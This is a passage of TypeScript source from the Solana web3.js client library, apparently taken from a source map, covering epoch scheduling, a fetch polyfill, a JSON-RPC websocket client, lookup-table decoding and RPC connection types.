slotIndex];\n } else {\n const normalSlotIndex = slot - this.firstNormalSlot;\n const normalEpochIndex = Math.floor(normalSlotIndex / this.slotsPerEpoch);\n const epoch = this.firstNormalEpoch + normalEpochIndex;\n const slotIndex = normalSlotIndex % this.slotsPerEpoch;\n return [epoch, slotIndex];\n }\n }\n\n getFirstSlotInEpoch(epoch: number): number {\n if (epoch <= this.firstNormalEpoch) {\n return (Math.pow(2, epoch) - 1) * MINIMUM_SLOT_PER_EPOCH;\n } else {\n return (\n (epoch - this.firstNormalEpoch) * this.slotsPerEpoch +\n this.firstNormalSlot\n );\n }\n }\n\n getLastSlotInEpoch(epoch: number): number {\n return this.getFirstSlotInEpoch(epoch) + this.getSlotsInEpoch(epoch) - 1;\n }\n\n getSlotsInEpoch(epoch: number) {\n if (epoch < this.firstNormalEpoch) {\n return Math.pow(2, epoch + trailingZeros(MINIMUM_SLOT_PER_EPOCH));\n } else {\n return this.slotsPerEpoch;\n }\n }\n}\n","import * as nodeFetch from 'node-fetch';\n\nexport default (typeof globalThis.fetch === 'function'\n ? // The Fetch API is supported experimentally in Node 17.5+ and natively in Node 18+.\n globalThis.fetch\n : // Otherwise use the polyfill.\n async function (\n input: nodeFetch.RequestInfo,\n init?: nodeFetch.RequestInit,\n ): Promise<nodeFetch.Response> {\n const processedInput =\n typeof input === 'string' && input.slice(0, 2) === '//'\n ? 'https:' + input\n : input;\n return await nodeFetch.default(processedInput, init);\n }) as typeof globalThis.fetch;\n","import {\n CommonClient,\n ICommonWebSocket,\n IWSClientAdditionalOptions,\n NodeWebSocketType,\n NodeWebSocketTypeOptions,\n WebSocket as createRpc,\n} from 'rpc-websockets';\n\ninterface IHasReadyState {\n readyState: WebSocket['readyState'];\n}\n\nexport default class RpcWebSocketClient extends CommonClient {\n private underlyingSocket: IHasReadyState | undefined;\n constructor(\n address?: string,\n options?: IWSClientAdditionalOptions & NodeWebSocketTypeOptions,\n generate_request_id?: (\n method: string,\n params: object | Array<any>,\n ) => number,\n ) {\n const webSocketFactory = (url: string) => {\n const rpc = createRpc(url, {\n autoconnect: true,\n max_reconnects: 5,\n reconnect: true,\n reconnect_interval: 1000,\n ...options,\n });\n if ('socket' in rpc) {\n this.underlyingSocket = rpc.socket as ReturnType<typeof createRpc>;\n } else {\n this.underlyingSocket = rpc as NodeWebSocketType;\n }\n return rpc as ICommonWebSocket;\n };\n super(webSocketFactory, address, options, generate_request_id);\n }\n call(\n ...args: Parameters<CommonClient['call']>\n ): ReturnType<CommonClient['call']> {\n const readyState = this.underlyingSocket?.readyState;\n if (readyState === 1 /* WebSocket.OPEN */) {\n return super.call(...args);\n }\n return Promise.reject(\n new Error(\n 'Tried to call a JSON-RPC method `' +\n args[0] +\n '` but the socket was not `CONNECTING` or `OPEN` (`readyState` was ' +\n readyState +\n ')',\n ),\n );\n }\n notify(\n ...args: Parameters<CommonClient['notify']>\n ): ReturnType<CommonClient['notify']> {\n const readyState = this.underlyingSocket?.readyState;\n if (readyState === 1 /* WebSocket.OPEN */) {\n return super.notify(...args);\n }\n return Promise.reject(\n new Error(\n 'Tried to send a JSON-RPC notification `' +\n args[0] +\n '` but the socket was not `CONNECTING` or `OPEN` (`readyState` was ' +\n readyState +\n ')',\n ),\n );\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nexport interface IAccountStateData {\n readonly typeIndex: number;\n}\n\n/**\n * @internal\n */\nexport type AccountType<TInputData extends IAccountStateData> = {\n /** The account type index (from solana upstream program) */\n index: number;\n /** The BufferLayout to use to build data */\n layout: BufferLayout.Layout<TInputData>;\n};\n\n/**\n * Decode account data buffer using an AccountType\n * @internal\n */\nexport function decodeData<TAccountStateData extends IAccountStateData>(\n type: AccountType<TAccountStateData>,\n data: Uint8Array,\n): TAccountStateData {\n let decoded: TAccountStateData;\n try {\n decoded = type.layout.decode(data);\n } catch (err) {\n throw new Error('invalid instruction; ' + err);\n }\n\n if (decoded.typeIndex !== type.index) {\n throw new Error(\n `invalid account data; account type mismatch ${decoded.typeIndex} != ${type.index}`,\n );\n }\n\n return decoded;\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport assert from '../../utils/assert';\nimport * as Layout from '../../layout';\nimport {PublicKey} from '../../publickey';\nimport {u64} from '../../utils/bigint';\nimport {decodeData} from '../../account-data';\n\nexport type AddressLookupTableState = {\n deactivationSlot: bigint;\n lastExtendedSlot: number;\n lastExtendedSlotStartIndex: number;\n authority?: PublicKey;\n addresses: Array<PublicKey>;\n};\n\nexport type AddressLookupTableAccountArgs = {\n key: PublicKey;\n state: AddressLookupTableState;\n};\n\n/// The serialized size of lookup table metadata\nconst LOOKUP_TABLE_META_SIZE = 56;\n\nexport class AddressLookupTableAccount {\n key: PublicKey;\n state: AddressLookupTableState;\n\n constructor(args: AddressLookupTableAccountArgs) {\n this.key = args.key;\n this.state = args.state;\n }\n\n isActive(): boolean {\n const U64_MAX = BigInt('0xffffffffffffffff');\n return this.state.deactivationSlot === U64_MAX;\n }\n\n static deserialize(accountData: Uint8Array): AddressLookupTableState {\n const meta = decodeData(LookupTableMetaLayout, accountData);\n\n const serializedAddressesLen = accountData.length - LOOKUP_TABLE_META_SIZE;\n assert(serializedAddressesLen >= 0, 'lookup table is invalid');\n assert(serializedAddressesLen % 32 === 0, 'lookup table is invalid');\n\n const numSerializedAddresses = serializedAddressesLen / 32;\n const {addresses} = BufferLayout.struct<{addresses: Array<Uint8Array>}>([\n BufferLayout.seq(Layout.publicKey(), numSerializedAddresses, 'addresses'),\n ]).decode(accountData.slice(LOOKUP_TABLE_META_SIZE));\n\n return {\n deactivationSlot: meta.deactivationSlot,\n lastExtendedSlot: meta.lastExtendedSlot,\n lastExtendedSlotStartIndex: meta.lastExtendedStartIndex,\n authority:\n meta.authority.length !== 0\n ? new PublicKey(meta.authority[0])\n : undefined,\n addresses: addresses.map(address => new PublicKey(address)),\n };\n }\n}\n\nconst LookupTableMetaLayout = {\n index: 1,\n layout: BufferLayout.struct<{\n typeIndex: number;\n deactivationSlot: bigint;\n lastExtendedSlot: number;\n lastExtendedStartIndex: number;\n authority: Array<Uint8Array>;\n }>([\n BufferLayout.u32('typeIndex'),\n u64('deactivationSlot'),\n BufferLayout.nu64('lastExtendedSlot'),\n BufferLayout.u8('lastExtendedStartIndex'),\n BufferLayout.u8(), // option\n BufferLayout.seq(\n Layout.publicKey(),\n BufferLayout.offset(BufferLayout.u8(), -1),\n 'authority',\n ),\n ]),\n};\n","const URL_RE = /^[^:]+:\\/\\/([^:[]+|\\[[^\\]]+\\])(:\\d+)?(.*)/i;\n\nexport function makeWebsocketUrl(endpoint: string) {\n const matches = endpoint.match(URL_RE);\n if (matches == null) {\n throw TypeError(`Failed to validate endpoint URL \\`${endpoint}\\``);\n }\n const [\n _, // eslint-disable-line @typescript-eslint/no-unused-vars\n hostish,\n portWithColon,\n rest,\n ] = matches;\n const protocol = endpoint.startsWith('https:') ? 'wss:' : 'ws:';\n const startPort =\n portWithColon == null ? null : parseInt(portWithColon.slice(1), 10);\n const websocketPort =\n // Only shift the port by +1 as a convention for ws(s) only if given endpoint\n // is explicitly specifying the endpoint port (HTTP-based RPC), assuming\n // we're directly trying to connect to agave-validator's ws listening port.\n // When the endpoint omits the port, we're connecting to the protocol\n // default ports: http(80) or https(443) and it's assumed we're behind a reverse\n // proxy which manages WebSocket upgrade and backend port redirection.\n startPort == null ? '' : `:${startPort + 1}`;\n return `${protocol}//${hostish}${websocketPort}${rest}`;\n}\n","import HttpKeepAliveAgent, {\n HttpsAgent as HttpsKeepAliveAgent,\n} from 'agentkeepalive';\nimport bs58 from 'bs58';\nimport {Buffer} from 'buffer';\n// @ts-ignore\nimport fastStableStringify from 'fast-stable-stringify';\nimport type {Agent as NodeHttpAgent} from 'http';\nimport {Agent as NodeHttpsAgent} from 'https';\nimport {\n type as pick,\n number,\n string,\n array,\n boolean,\n literal,\n record,\n union,\n optional,\n nullable,\n coerce,\n instance,\n create,\n tuple,\n unknown,\n any,\n} from 'superstruct';\nimport type {Struct} from 'superstruct';\nimport RpcClient from 'jayson/lib/client/browser';\nimport {JSONRPCError} from 'jayson';\n\nimport {EpochSchedule} from './epoch-schedule';\nimport {SendTransactionError, SolanaJSONRPCError} from './errors';\nimport fetchImpl from './fetch-impl';\nimport {DurableNonce, NonceAccount} from './nonce-account';\nimport {PublicKey} from './publickey';\nimport {Signer} from './keypair';\nimport RpcWebSocketClient from './rpc-websocket';\nimport {MS_PER_SLOT} from './timing';\nimport {\n Transaction,\n TransactionStatus,\n TransactionVersion,\n VersionedTransaction,\n} from './transaction';\nimport {Message, MessageHeader, MessageV0, VersionedMessage} from './message';\nimport {AddressLookupTableAccount} from './programs/address-lookup-table/state';\nimport assert from './utils/assert';\nimport {sleep} from './utils/sleep';\nimport {toBuffer} from './utils/to-buffer';\nimport {\n TransactionExpiredBlockheightExceededError,\n TransactionExpiredNonceInvalidError,\n TransactionExpiredTimeoutError,\n} from './transaction/expiry-custom-errors';\nimport {makeWebsocketUrl} from './utils/makeWebsocketUrl';\nimport type {Blockhash} from './blockhash';\nimport type {FeeCalculator} from './fee-calculator';\nimport type {TransactionSignature} from './transaction';\nimport type {CompiledInstruction} from './message';\n\nconst PublicKeyFromString = coerce(\n instance(PublicKey),\n string(),\n value => new PublicKey(value),\n);\n\nconst RawAccountDataResult = tuple([string(), literal('base64')]);\n\nconst BufferFromRawAccountData = coerce(\n instance(Buffer),\n RawAccountDataResult,\n value => Buffer.from(value[0], 'base64'),\n);\n\n/**\n * Attempt to use a recent blockhash for up to 30 seconds\n * @internal\n */\nexport const BLOCKHASH_CACHE_TIMEOUT_MS = 30 * 1000;\n\n/**\n * HACK.\n * Copied from rpc-websockets/dist/lib/client.\n * Otherwise, `yarn build` fails with:\n * https://gist.github.com/steveluscher/c057eca81d479ef705cdb53162f9971d\n */\ninterface IWSRequestParams {\n [x: string]: any;\n [x: number]: any;\n}\n\ntype ClientSubscriptionId = number;\n/** @internal */ type ServerSubscriptionId = number;\n/** @internal */ type SubscriptionConfigHash = string;\n/** @internal */ type SubscriptionDisposeFn = () => Promise<void>;\n/** @internal */ type SubscriptionStateChangeCallback = (\n nextState: StatefulSubscription['state'],\n) => void;\n/** @internal */ type SubscriptionStateChangeDisposeFn = () => void;\n/**\n * @internal\n * Every subscription contains the args used to open the subscription with\n * the server, and a list of callers interested in notifications.\n */\ntype BaseSubscription<TMethod = SubscriptionConfig['method']> = Readonly<{\n args: IWSRequestParams;\n callbacks: Set<Extract<SubscriptionConfig, {method: TMethod}>['callback']>;\n}>;\n/**\n * @internal\n * A subscription may be in various states of connectedness. Only when it is\n * fully connected will it have a server subscription id associated with it.\n * This id can be returned to the server to unsubscribe the client entirely.\n */\ntype StatefulSubscription = Readonly<\n // New subscriptions that have not yet been\n // sent to the server start in this state.\n | {\n state: 'pending';\n }\n // These subscriptions have been sent to the server\n // and are waiting for the server to acknowledge them.\n | {\n state: 'subscribing';\n }\n // These subscriptions have been acknowledged by the\n // server and have been assigned server subscription ids.\n | {\n serverSubscriptionId: ServerSubscriptionId;\n state: 'subscribed';\n }\n // These subscriptions are intended to be torn down and\n // are waiting on an acknowledgement from the server.\n | {\n serverSubscriptionId: ServerSubscriptionId;\n state: 'unsubscribing';\n }\n // The request to tear down these subscriptions has been\n // acknowledged by the server. The `serverSubscriptionId`\n // is the id of the now-dead subscription.\n | {\n serverSubscriptionId: ServerSubscriptionId;\n state: 'unsubscribed';\n }\n>;\n/**\n * A type that encapsulates a subscription's RPC method\n * names and notification (callback) signature.\n */\ntype SubscriptionConfig = Readonly<\n | {\n callback: AccountChangeCallback;\n method: 'accountSubscribe';\n unsubscribeMethod: 'accountUnsubscribe';\n }\n | {\n callback: LogsCallback;\n method: 'logsSubscribe';\n unsubscribeMethod: 'logsUnsubscribe';\n }\n | {\n callback: ProgramAccountChangeCallback;\n method: 'programSubscribe';\n unsubscribeMethod: 'programUnsubscribe';\n }\n | {\n callback: RootChangeCallback;\n method: 'rootSubscribe';\n unsubscribeMethod: 'rootUnsubscribe';\n }\n | {\n callback: SignatureSubscriptionCallback;\n method: 'signatureSubscribe';\n unsubscribeMethod: 'signatureUnsubscribe';\n }\n | {\n callback: SlotChangeCallback;\n method: 'slotSubscribe';\n unsubscribeMethod: 'slotUnsubscribe';\n }\n | {\n callback: SlotUpdateCallback;\n method: 'slotsUpdatesSubscribe';\n unsubscribeMethod: 'slotsUpdatesUnsubscribe';\n }\n>;\n/**\n * @internal\n * Utility type that keeps tagged unions intact while omitting properties.\n */\ntype DistributiveOmit<T, K extends PropertyKey> = T extends unknown\n ? Omit<T, K>\n : never;\n/**\n * @internal\n * This type represents a single subscribable 'topic.' It's made up of:\n *\n * - The args used to open the subscription with the server,\n * - The state of the subscription, in terms of its connectedness, and\n * - The set of callbacks to call when the server publishes notifications\n *\n * This record gets indexed by `SubscriptionConfigHash` and is used to\n * set up subscriptions, fan out notifications, and track subscription state.\n */\ntype Subscription = BaseSubscription &\n StatefulSubscription &\n DistributiveOmit<SubscriptionConfig, 'callback'>;\n\ntype RpcRequest = (methodName: string, args: Array<any>) => Promise<any>;\n\ntype RpcBatchRequest = (requests: RpcParams[]) => Promise<any[]>;\n\n/**\n * @internal\n */\nexport type RpcParams = {\n methodName: string;\n args: Array<any>;\n};\n\nexport type TokenAccountsFilter =\n | {\n mint: PublicKey;\n }\n | {\n programId: PublicKey;\n };\n\n/**\n * Extra contextual information for RPC responses\n */\nexport type Context = {\n slot: number;\n};\n\n/**\n * Options for sending transactions\n */\nexport type SendOptions = {\n /** disable transaction verification step */\n skipPreflight?: boolean;\n /** preflight commitment level */\n preflightCommitment?: Commitment;\n /** Maximum number of times for the RPC node to retry sending the transaction to the leader. */\n maxRetries?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Options for confirming transactions\n */\nexport type ConfirmOptions = {\n /** disable transaction verification step */\n skipPreflight?: boolean;\n /** desired commitment level */\n commitment?: Commitment;\n /** preflight commitment level */\n preflightCommitment?: Commitment;\n /** Maximum number of times for the RPC node to retry sending the transaction to the leader. */\n maxRetries?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Options for getConfirmedSignaturesForAddress2\n */\nexport type ConfirmedSignaturesForAddress2Options = {\n /**\n * Start searching backwards from this transaction signature.\n * @remarks If not provided the search starts from the highest max confirmed block.\n */\n before?: TransactionSignature;\n /** Search until this transaction signature is reached, if found before `limit`. */\n until?: TransactionSignature;\n /** Maximum transaction signatures to return (between 1 and 1,000, default: 1,000). */\n limit?: number;\n};\n\n/**\n * Options for getSignaturesForAddress\n */\nexport type SignaturesForAddressOptions = {\n /**\n * Start searching backwards from this transaction signature.\n * @remarks If not provided the search starts from the highest max confirmed block.\n */\n before?: TransactionSignature;\n /** Search until this transaction signature is reached, if found before `limit`. */\n until?: TransactionSignature;\n /** Maximum transaction signatures to return (between 1 and 1,000, default: 1,000). */\n limit?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * RPC Response with extra contextual information\n */\nexport type RpcResponseAndContext<T> = {\n /** response context */\n context: Context;\n /** response value */\n value: T;\n};\n\nexport type BlockhashWithExpiryBlockHeight = Readonly<{\n blockhash: Blockhash;\n lastValidBlockHeight: number;\n}>;\n\n/**\n * A strategy for confirming transactions that uses the last valid\n * block height for a given blockhash to check for transaction expiration.\n */\nexport type BlockheightBasedTransactionConfirmationStrategy =\n BaseTransactionConfirmationStrategy & BlockhashWithExpiryBlockHeight;\n\n/**\n * A strategy for confirming durable nonce transactions.\n */\nexport type DurableNonceTransactionConfirmationStrategy =\n BaseTransactionConfirmationStrategy & {\n /**\n * The lowest slot at which to fetch the nonce value from the\n * nonce account. This should be no lower than the slot at\n * which the last-known value of the nonce was fetched.\n */\n minContextSlot: number;\n /**\n * The account where the current value of the nonce is stored.\n */\n nonceAccountPubkey: PublicKey;\n /**\n * The nonce value that was used to sign the transaction\n * for which confirmation is being sought.\n */\n nonceValue: DurableNonce;\n };\n\n/**\n * Properties shared by all transaction confirmation strategies\n */\nexport type BaseTransactionConfirmationStrategy = Readonly<{\n /** A signal that, when aborted, cancels any outstanding transaction confirmation operations */\n abortSignal?: AbortSignal;\n signature: TransactionSignature;\n}>;\n\n/**\n * This type represents all transaction confirmation strategies\n */\nexport type TransactionConfirmationStrategy =\n | BlockheightBasedTransactionConfirmationStrategy\n | DurableNonceTransactionConfirmationStrategy;\n\n/* @internal */\nfunction assertEndpointUrl(putativeUrl: string) {\n if (/^https?:/.test(putativeUrl) === false) {\n throw new TypeError('Endpoint URL must start with `http:` or `https:`.');\n }\n return putativeUrl;\n}\n\n/** @internal */\nfunction extractCommitmentFromConfig<TConfig>(\n commitmentOrConfig?: Commitment | ({commitment?: Commitment} & TConfig),\n) {\n let commitment: Commitment | undefined;\n let config: Omit<TConfig, 'commitment'> | undefined;\n if (typeof commitmentOrConfig === 'string') {\n commitment = commitmentOrConfig;\n } else if (commitmentOrConfig) {\n const {commitment: specifiedCommitment, ...specifiedConfig} =\n commitmentOrConfig;\n commitment = specifiedCommitment;\n config = specifiedConfig;\n }\n return {commitment, config};\n}\n\n/**\n * @internal\n */\nfunction applyDefaultMemcmpEncodingToFilters(\n filters: GetProgramAccountsFilter[],\n): GetProgramAccountsFilter[] {\n return filters.map(filter =>\n 'memcmp' in filter\n ? {\n ...filter,\n memcmp: {\n ...filter.memcmp,\n encoding: filter.memcmp.encoding ?? 'base58',\n },\n }\n : filter,\n );\n}\n\n/**\n * @internal\n */\nfunction createRpcResult<T, U>(result: Struct<T, U>) {\n return union([\n pick({\n jsonrpc: literal('2.0'),\n id: string(),\n result,\n }),\n pick({\n jsonrpc: literal('2.0'),\n id: string(),\n error: pick({\n code: unknown(),\n message: string(),\n data: optional(any()),\n }),\n }),\n ]);\n}\n\nconst UnknownRpcResult = createRpcResult(unknown());\n\n/**\n * @internal\n */\nfunction jsonRpcResult<T, U>(schema: Struct<T, U>) {\n return coerce(createRpcResult(schema), UnknownRpcResult, value => {\n if ('error' in value) {\n return value;\n } else {\n return {\n ...value,\n result: create(value.result, schema),\n };\n }\n });\n}\n\n/**\n * @internal\n */\nfunction jsonRpcResultAndContext<T, U>(value: Struct<T, U>) {\n return jsonRpcResult(\n pick({\n context: pick({\n slot: number(),\n }),\n value,\n }),\n );\n}\n\n/**\n * @internal\n */\nfunction notificationResultAndContext<T, U>(value: Struct<T, U>) {\n return pick({\n context: pick({\n slot: number(),\n }),\n value,\n });\n}\n\n/**\n * @internal\n */\nfunction versionedMessageFromResponse(\n version: TransactionVersion | undefined,\n response: MessageResponse,\n): VersionedMessage {\n if (version === 0) {\n return new MessageV0({\n header: response.header,\n staticAccountKeys: response.accountKeys.map(\n accountKey => new PublicKey(accountKey),\n ),\n recentBlockhash: response.recentBlockhash,\n compiledInstructions: response.instructions.map(ix => ({\n programIdIndex: ix.programIdIndex,\n accountKeyIndexes: ix.accounts,\n data: bs58.decode(ix.data),\n })),\n addressTableLookups: response.addressTableLookups!,\n });\n } else {\n return new Message(response);\n }\n}\n\n/**\n * The level of commitment desired when querying state\n * <pre>\n * 'processed': Query the most recent block which has reached 1 confirmation by the connected node\n * 'confirmed': Query the most recent block which has reached 1 confirmation by the cluster\n * 'finalized': Query the most recent block which has been finalized by the cluster\n * </pre>\n */\nexport type Commitment =\n | 'processed'\n | 'confirmed'\n | 'finalized'\n | 'recent' // Deprecated as of v1.5.5\n | 'single' // Deprecated as of v1.5.5\n | 'singleGossip' // Deprecated as of v1.5.5\n | 'root' // Deprecated as of v1.5.5\n | 'max'; // Deprecated as of v1.5.5\n\n/**\n * A subset of Commitment levels, which are at least optimistically confirmed\n * <pre>\n * 'confirmed': Query the most recent block which has reached 1 confirmation by the cluster\n * 'finalized': Query the most recent block which has been finalized by the cluster\n * </pre>\n */\nexport type Finality = 'confirmed' | 'finalized';\n\n/**\n * Filter for largest accounts query\n * <pre>\n * 'circulating': Return the largest accounts that are part of the circulating supply\n * 'nonCirculating': Return the largest accounts that are not part of the circulating supply\n * </pre>\n */\nexport type LargestAccountsFilter = 'circulating' | 'nonCirculating';\n\n/**\n * Configuration object for changing `getAccountInfo` query behavior\n */\nexport type GetAccountInfoConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n /** Optional data slice to limit the returned account data */\n dataSlice?: DataSlice;\n};\n\n/**\n * Configuration object for changing `getBalance` query behavior\n */\nexport type GetBalanceConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getBlock` query behavior\n */\nexport type GetBlockConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n /**\n * Whether to populate the rewards array. If parameter not provided, the default includes rewards.\n */\n rewards?: boolean;\n /**\n * Level of transaction detail to return, either \"full\", \"accounts\", \"signatures\", or \"none\". If\n * parameter not provided, the default detail level is \"full\". If \"accounts\" are requested,\n * transaction details only include signatures and an annotated list of accounts in each\n * transaction. Transaction metadata is limited to only: fee, err, pre_balances, post_balances,\n * pre_token_balances, and post_token_balances.\n */\n transactionDetails?: 'accounts' | 'full' | 'none' | 'signatures';\n};\n\n/**\n * Configuration object for changing `getBlock` query behavior\n */\nexport type GetVersionedBlockConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n /** The max transaction version to return in responses. If the requested transaction is a higher version, an error will be returned */\n maxSupportedTransactionVersion?: number;\n /**\n * Whether to populate the rewards array. If parameter not provided, the default includes rewards.\n */\n rewards?: boolean;\n /**\n * Level of transaction detail to return, either \"full\", \"accounts\", \"signatures\", or \"none\". If\n * parameter not provided, the default detail level is \"full\". If \"accounts\" are requested,\n * transaction details only include signatures and an annotated list of accounts in each\n * transaction. Transaction metadata is limited to only: fee, err, pre_balances, post_balances,\n * pre_token_balances, and post_token_balances.\n */\n transactionDetails?: 'accounts' | 'full' | 'none' | 'signatures';\n};\n\n/**\n * Configuration object for changing `getStakeMinimumDelegation` query behavior\n */\nexport type GetStakeMinimumDelegationConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n};\n\n/**\n * Configuration object for changing `getBlockHeight` query behavior\n */\nexport type GetBlockHeightConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getEpochInfo` query behavior\n */\nexport type GetEpochInfoConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getInflationReward` query behavior\n */\nexport type GetInflationRewardConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** An epoch for which the reward occurs. If omitted, the previous epoch will be used */\n epoch?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getLatestBlockhash` query behavior\n */\nexport type GetLatestBlockhashConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `isBlockhashValid` query behavior\n */\nexport type IsBlockhashValidConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getSlot` query behavior\n */\nexport type GetSlotConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getSlotLeader` query behavior\n */\nexport type GetSlotLeaderConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getTransaction` query behavior\n */\nexport type GetTransactionConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n};\n\n/**\n * Configuration object for changing `getTransaction` query behavior\n */\nexport type GetVersionedTransactionConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n /** The max transaction version to return in responses. If the requested transaction is a higher version, an error will be returned */\n maxSupportedTransactionVersion?: number;\n};\n\n/**\n * Configuration object for changing `getLargestAccounts` query behavior\n */\nexport type GetLargestAccountsConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** Filter largest accounts by whether they are part of the circulating supply */\n filter?: LargestAccountsFilter;\n};\n\n/**\n * Configuration object for changing `getSupply` request behavior\n */\nexport type GetSupplyConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** Exclude non circulating accounts list from response */\n excludeNonCirculatingAccountsList?: boolean;\n};\n\n/**\n * Configuration object for changing query behavior\n */\nexport type SignatureStatusConfig = {\n /** enable searching status history, not needed for recent transactions */\n searchTransactionHistory: boolean;\n};\n\n/**\n * Information describing a cluster node\n */\nexport type ContactInfo = {\n /** Identity public key of the node */\n pubkey: string;\n /** Gossip network address for the node */\n gossip: string | null;\n /** TPU network address for the node (null if not available) */\n tpu: string | null;\n /** JSON RPC network address for the node (null if not available) */\n rpc: string | null;\n /** Software version of the node (null if not available) */\n version: string | null;\n};\n\n/**\n * Information describing a vote account\n */\nexport type VoteAccountInfo = {\n /** Public key of the vote account */\n votePubkey: string;\n /** Identity public key of the node voting with this account */\n nodePubkey: string;\n /** The stake, in lamports, delegated to this vote account and activated */\n activatedStake: number;\n /** Whether the vote account is staked for this epoch */\n epochVoteAccount: boolean;\n /** Recent epoch voting credit history for this voter */\n epochCredits: Array<[number, number, number]>;\n /** A percentage (0-100) of rewards payout owed to the voter */\n commission: number;\n /** Most recent slot voted on by this vote account */\n lastVote: number;\n};\n\n/**\n * A collection of cluster vote accounts\n */\nexport type VoteAccountStatus = {\n /** Active vote accounts */\n current: Array<VoteAccountInfo>;\n /** Inactive vote accounts */\n delinquent: Array<VoteAccountInfo>;\n};\n\n/**\n * Network Inflation\n * (see https://docs.solana.com/implemented-proposals/ed_overview)\n */\nexport type InflationGovernor = {\n foundation: number;\n foundationTerm: number;\n initial: number;\n taper: number;\n terminal: number;\n};\n\nconst GetInflationGovernorResult = pick({\n foundation: number(),\n foundationTerm: number(),\n initial: number(),\n taper: number(),\n terminal: number(),\n});\n\n/**\n * The inflation reward for an epoch\n */\nexport type InflationReward = {\n /** epoch for which the reward occurs */\n epoch: number;\n /** the slot in which the rewards are effective */\n effectiveSlot: number;\n /** reward amount in lamports */\n amount: number;\n /** post balance of the account in lamports */\n postBalance: number;\n /** vote account commission when the reward was credited */\n commission?: number | null;\n};\n\n/**\n * Expected JSON RPC response for the \"getInflationReward\" message\n */\nconst GetInflationRewardResult = jsonRpcResult(\n array(\n nullable(\n pick({\n epoch: number(),\n effectiveSlot: number(),\n amount: number(),\n postBalance: number(),\n commission: optional(nullable(number())),\n }),\n ),\n ),\n);\n\nexport type RecentPrioritizationFees = {\n /** slot in which the fee was observed */\n slot: number;\n /** the per-compute-unit fee paid by at least one successfully landed transaction, specified in increments of 0.000001 lamports*/\n prioritizationFee: number;\n};\n\n/**\n * Configuration object for changing `getRecentPrioritizationFees` query behavior\n */\nexport type GetRecentPrioritizationFeesConfig = {\n /**\n * If this parameter is provided, the response will reflect a fee to land a transaction locking\n * all of the provided accounts as writable.\n */\n lockedWritableAccounts?: PublicKey[];\n};\n\n/**\n * Expected JSON RPC response for the \"getRecentPrioritizationFees\" message\n */\nconst GetRecentPrioritizationFeesResult = array(\n pick({\n slot: number(),\n prioritizationFee: number(),\n }),\n);\n\nexport type InflationRate = {\n /** total inflation */\n total: number;\n /** inflation allocated to validators */\n validator: number;\n /** inflation allocated to the foundation */\n foundation: number;\n /** epoch for which these values are valid */\n epoch: number;\n};\n\n/**\n * Expected JSON RPC response for the \"getInflationRate\" message\n */\nconst GetInflationRateResult = pick({\n total: number(),\n validator: number(),\n foundation: number(),\n epoch: number(),\n});\n\n/**\n * Information about the current epoch\n */\nexport type EpochInfo = {\n epoch: number;\n slotIndex: number;\n slotsInEpoch: number;\n absoluteSlot: number;\n blockHeight?: number;\n transactionCount?: number;\n};\n\nconst GetEpochInfoResult = pick({\n epoch: number(),\n slotIndex: number(),\n slotsInEpoch: number(),\n absoluteSlot: number(),\n blockHeight: optional(number()),\n transactionCount: optional(number()),\n});\n\nconst GetEpochScheduleResult = pick({\n slotsPerEpoch: number(),\n leaderScheduleSlotOffset: number(),\n warmup: boolean(),\n firstNormalEpoch: number(),\n firstNormalSlot: number(),\n});\n\n/**\n * Leader schedule\n * (see https://docs.solana.com/terminology#leader-schedule)\n */\nexport type LeaderSchedule = {\n [address: string]: number[];\n};\n\nconst GetLeaderScheduleResult = record(string(), array(number()));\n\n/**\n * Transaction error or null\n */\nconst TransactionErrorResult = nullable(union([pick({}), string()]));\n\n/**\n * Signature status for a transaction\n */\nconst SignatureStatusResult = pick({\n err: TransactionErrorResult,\n});\n\n/**\n * Transaction signature received notification\n */\nconst SignatureReceivedResult = literal('receivedSignature');\n\n/**\n * Version info for a node\n */\nexport type Version = {\n /** Version of solana-core */\n 'solana-core': string;\n 'feature-set'?: number;\n};\n\nconst VersionResult = pick({\n 'solana-core': string(),\n 'feature-set': optional(number()),\n});\n\nexport type SimulatedTransactionAccountInfo = {\n /** `true` if this account's data contains a loaded program */\n executable: boolean;\n /** Identifier of the program that owns the account */\n owner: string;\n /** Number of lamports assigned to the account */\n lamports: number;\n /** Optional data assigned to the account */\n data: string[];\n /** Optional rent epoch info for account */\n rentEpoch?: number;\n};\n\nexport type TransactionReturnDataEncoding = 'base64';\n\nexport type TransactionReturnData = {\n programId: string;\n data: [string, 